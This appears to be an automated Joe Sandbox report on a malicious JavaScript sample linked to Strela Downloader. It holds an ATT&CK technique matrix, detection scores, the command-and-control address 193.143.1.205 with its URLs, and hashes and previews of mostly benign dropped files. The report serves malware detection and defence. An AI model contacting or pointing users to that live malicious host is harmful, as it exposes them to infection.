Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1926422634111517010.js	3%	Virustotal		Browse
1926422634111517010.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tem	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000006.00000002.1748759674.000001CE8E488000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2977427461.000002913FC10000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1747608654.000002913FEC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1748759674.000001CE8E4C3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1748759674.000001CE8E4B1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1748759674.000001CE8E4E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1747608654.000002913FEC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588030
Start date and time:	2025-01-10 20:45:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1926422634111517010.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 50.16.47.176, 54.224.241.105, 34.237.241.83, 18.213.11.84, 2.16.168.105, 2.16.168.107, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 172.202.163.200, 96.17.64.171, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:46:01	API Interceptor	27x Sleep call for process: powershell.exe modified
14:46:06	API Interceptor	1x Sleep call for process: net.exe modified
14:46:06	API Interceptor	2x Sleep call for process: svchost.exe modified
14:46:19	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1713990941768710675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	143686862513618164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3253418218787826771.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1713990941768710675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1340465372044024725.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1053816775239920795.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1794629123897518052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073382150481803
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrQ:KooCEYhgYEL0In
MD5:	AFBD116D06A2975EEBA38E633738C6C7
SHA1:	B85F10D9CCCCD87559F0A11EAAC028FBAF46B7BA
SHA-256:	604F205F957D26DD502B26F96C0895D52D033F423ABB44115B5E42DD3E369D5B
SHA-512:	CEAB368F898F36260DED893500B4FCE0A05CDDFFEEE363F84916AAB34A546FA3090AF8854AAE668BD125DA66D7DEB86E9F4D92DDEA2784811E62133C8E69705E
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x19ad1737, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42213379697066006
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:haza/vMUM2Uvz7DO
MD5:	9B03906ADF4198098BFD6681BB937D9A
SHA1:	28C3631DB126B9BEC4ACB3214E0A0B3EF49F3D89
SHA-256:	5E4A9C7AEC7B0781A504EC29450E5AD8EE2E67B4DF385EB73129D5CD5EAD0EA9
SHA-512:	C354E3F5CBF66762D38FB291553FC03E513CDF7B2C44A190D7851E1A1EAE54B4CE8B1DFE59C6A61236FA49FA17351AD704E0ADCC3F2F27995ACD65C6ADA721F3
Malicious:	false
Preview:	...7... .......A.......X\...;...{......................0.!..........{A......}q.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................A......}....................$.....}q..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0770300477461845
Encrypted:	false
SSDEEP:	3:8aEYeUCJUrauvCjn13a/y73jr//AllcVO/lnlZMxZNQl:8Bz3yaua53qy73XXAOewk
MD5:	EE75F060346FEA678DC054BF09B1F92C
SHA1:	7B92AA30BD417B39CAD5878335179ADB84E93BA8
SHA-256:	C194DD12B740475F8D30E7833B90C314CEDA046F79A8DB2E0077AFDCD7ED556B
SHA-512:	7885F76B4265D942D12E103566297BB5422DD58EEE6D100E6CBE306E20386847A77EBEB5A356F74C0FB3A5D3CD0794A41EBEC91E393A184949EEA454EC8ABFB2
Malicious:	false
Preview:	...&.....................................;...{.......}q......{A..............{A......{A..........{A]..................$.....}q.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.141627203959602
Encrypted:	false
SSDEEP:	6:iO4MdOq2Pwkn2nKuAl9OmbnIFUtSZfE9ZmwsPPkwOwkn2nKuAl9OmbjLJ:72vYfHAahFUtT/+5JfHAaSJ
MD5:	3C8D2214306675384472E062029FBC63
SHA1:	6E7EED65F3D1B6B1F7036C639D75A166074F5EAF
SHA-256:	A6B39A636C2DBE290BF07921E51C613C1BBC7E6324C5C0686A62F496568CDF10
SHA-512:	6DA5A7A37E40FD25F18C9A6364B9EEF67C98CC698E99951C7E258112717112203A892205DA97C64DB4ACF2B91643983EC8E99C0B651EDA7B87DE8C6B7816112F
Malicious:	false
Preview:	2025/01/10-14:46:06.145 1ca4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:46:06.150 1ca4 Recovering log #3.2025/01/10-14:46:06.151 1ca4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.141627203959602
Encrypted:	false
SSDEEP:	6:iO4MdOq2Pwkn2nKuAl9OmbnIFUtSZfE9ZmwsPPkwOwkn2nKuAl9OmbjLJ:72vYfHAahFUtT/+5JfHAaSJ
MD5:	3C8D2214306675384472E062029FBC63
SHA1:	6E7EED65F3D1B6B1F7036C639D75A166074F5EAF
SHA-256:	A6B39A636C2DBE290BF07921E51C613C1BBC7E6324C5C0686A62F496568CDF10
SHA-512:	6DA5A7A37E40FD25F18C9A6364B9EEF67C98CC698E99951C7E258112717112203A892205DA97C64DB4ACF2B91643983EC8E99C0B651EDA7B87DE8C6B7816112F
Malicious:	false
Preview:	2025/01/10-14:46:06.145 1ca4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:46:06.150 1ca4 Recovering log #3.2025/01/10-14:46:06.151 1ca4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.167975224094273
Encrypted:	false
SSDEEP:	6:iO44Oq2Pwkn2nKuAl9Ombzo2jMGIFUtS42UZZmws4RDkwOwkn2nKuAl9Ombzo2jz:7LOvYfHAa8uFUtNl/XR5JfHAa8RJ
MD5:	B0E445B87FFEB30BAABE86ED24AFCCF4
SHA1:	9941873E8D872D0C75D138BA1601DF21E68FB46F
SHA-256:	E6DDB05FB2333A8DE08352765E65EE16E3C99F583F6D006D3CEBC89000AF7DA1
SHA-512:	9C257F0C5FED4BCD18ACD0FEB15D5DC550D67666613B5080C16437BA81C7703EF2F91FD13916BDA59369118ED35D538EBACB5B8FFADB4C9F14A4E39E1F9F6E61
Malicious:	false
Preview:	2025/01/10-14:46:06.255 4a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:46:06.257 4a0 Recovering log #3.2025/01/10-14:46:06.259 4a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.167975224094273
Encrypted:	false
SSDEEP:	6:iO44Oq2Pwkn2nKuAl9Ombzo2jMGIFUtS42UZZmws4RDkwOwkn2nKuAl9Ombzo2jz:7LOvYfHAa8uFUtNl/XR5JfHAa8RJ
MD5:	B0E445B87FFEB30BAABE86ED24AFCCF4
SHA1:	9941873E8D872D0C75D138BA1601DF21E68FB46F
SHA-256:	E6DDB05FB2333A8DE08352765E65EE16E3C99F583F6D006D3CEBC89000AF7DA1
SHA-512:	9C257F0C5FED4BCD18ACD0FEB15D5DC550D67666613B5080C16437BA81C7703EF2F91FD13916BDA59369118ED35D538EBACB5B8FFADB4C9F14A4E39E1F9F6E61
Malicious:	false
Preview:	2025/01/10-14:46:06.255 4a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:46:06.257 4a0 Recovering log #3.2025/01/10-14:46:06.259 4a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964484232732606
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqO1sBdOg2HYtAcaq3QYiubInP7E4T3y:Y2sRdsEdMHer3QYhbG7nby
MD5:	1EEFECF9E315D6D2C880005D11ED6358
SHA1:	026CF5362ED458D6DF07F985A5446722296A25FB
SHA-256:	96C9FC1F109EFF96D9CE09ADF15516A2F3F2087A243651F3BC5A59FBC692C5AD
SHA-512:	9290A29394BCCE24E2861ABE68EE3A5FD8ABC32606F1471E4A39C7783AB2D47287CEC7B4B7D5A1070FBA9E19250F9257853585207F02B4635C321A47C2D829DA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381098378793749","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140783},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f56b2902-4b06-4b5b-856b-8f6472455c8c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.964484232732606
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqO1sBdOg2HYtAcaq3QYiubInP7E4T3y:Y2sRdsEdMHer3QYhbG7nby
MD5:	1EEFECF9E315D6D2C880005D11ED6358
SHA1:	026CF5362ED458D6DF07F985A5446722296A25FB
SHA-256:	96C9FC1F109EFF96D9CE09ADF15516A2F3F2087A243651F3BC5A59FBC692C5AD
SHA-512:	9290A29394BCCE24E2861ABE68EE3A5FD8ABC32606F1471E4A39C7783AB2D47287CEC7B4B7D5A1070FBA9E19250F9257853585207F02B4635C321A47C2D829DA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381098378793749","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140783},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.259102709788678
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7APq42k:etJCV4FiN/jTN/2r8Mta02fEhgO73gom
MD5:	F70421171E8D11A49FA8CF2B3FF04BF3
SHA1:	30CF341C13B4E821D6FD59E2936B6D5211F497D0
SHA-256:	76F27474992DBBA937A6CD81324C6D1D3EB135B967AB96259745C2D0A00F2B03
SHA-512:	276DF75717F4B674E86E64FA56353E11CE170A4A0321A70CFDA5620C20A3AE4AC7322E8516881C7FED7C515D8B34CA79171A4D511F0A463CE52B82702567C2E4
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.157944989872771
Encrypted:	false
SSDEEP:	6:iO4hU4q2Pwkn2nKuAl9OmbzNMxIFUtSfoZmws2VFkwOwkn2nKuAl9OmbzNMFLJ:7iU4vYfHAa8jFUtIo/3F5JfHAa84J
MD5:	ED4A8496B0072F8BA64CBC50ED20507E
SHA1:	3BBB962FF5620902EC424DCCDD62D27F7BF64690
SHA-256:	484E3000E2E5C7F921ADD7AC327FC07AB7B5355890DC31355DA76B4358632E01
SHA-512:	762B0D28B268FF19923D78F4B052B39D9826048BBC11472E51565FEAF8FB12CDEF87E81470978689BACEC96AB7C90D98FFD24A101DF2C467E4E15C0593F00F44
Malicious:	false
Preview:	2025/01/10-14:46:06.576 4a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:46:06.590 4a0 Recovering log #3.2025/01/10-14:46:06.602 4a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.157944989872771
Encrypted:	false
SSDEEP:	6:iO4hU4q2Pwkn2nKuAl9OmbzNMxIFUtSfoZmws2VFkwOwkn2nKuAl9OmbzNMFLJ:7iU4vYfHAa8jFUtIo/3F5JfHAa84J
MD5:	ED4A8496B0072F8BA64CBC50ED20507E
SHA1:	3BBB962FF5620902EC424DCCDD62D27F7BF64690
SHA-256:	484E3000E2E5C7F921ADD7AC327FC07AB7B5355890DC31355DA76B4358632E01
SHA-512:	762B0D28B268FF19923D78F4B052B39D9826048BBC11472E51565FEAF8FB12CDEF87E81470978689BACEC96AB7C90D98FFD24A101DF2C467E4E15C0593F00F44
Malicious:	false
Preview:	2025/01/10-14:46:06.576 4a0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:46:06.590 4a0 Recovering log #3.2025/01/10-14:46:06.602 4a0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445107706957282
Encrypted:	false
SSDEEP:	384:yezci5tEiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rzs3OazzU89UTTgUL
MD5:	C4B721C667DBEC6670D95E5983A6824B
SHA1:	659EC8BAF6A677F7DB2E3F080EDAEFF8F00166E5
SHA-256:	E4300CEB33D3F5CC9A6B550EA8AE0E9B0D8AFF58C91AC24F2EFB45B4207749AB
SHA-512:	8F440CDB3A06B9DC0C0FD1E618B592E0BFFED9A44FB528838A3DF45CC9FC35CA8383DB6604F9073FEDFF2D2BAF7800237C4DA045BEF7B50C69BCDB40C0EBA5AD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.775462380342477
Encrypted:	false
SSDEEP:	48:7MPp/E2ioyVkioy9oWoy1Cwoy18KOioy1noy1AYoy1Wioy1hioybioyWoy1noy17:7EpjukFPXKQfFb9IVXEBodRBkh
MD5:	C44FFA8205E8E14C7685E043A13AD390
SHA1:	6AA0407E36D79E95352F487BE443C9AFF43907C5
SHA-256:	B9EFAB74231DCF3C0081AAB6CF0A683B86F33F040E4172F9098C1472E6C0AD4E
SHA-512:	332F95801EFEEDDAD29BCC3B40CA92768531BD20A9F8D83299521253EB38F93E69E2D4ADB4EBCE827445A74116D06391A4686EEB61C6B46655ED8D8D87A209BB
Malicious:	false
Preview:	.... .c......*t................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkllML/tfllXlE/HT8k/RljNNX8RolJuRdxLlGB9lQRYwpDdt:kKRL/eT82DRNMa8RdWBwRd
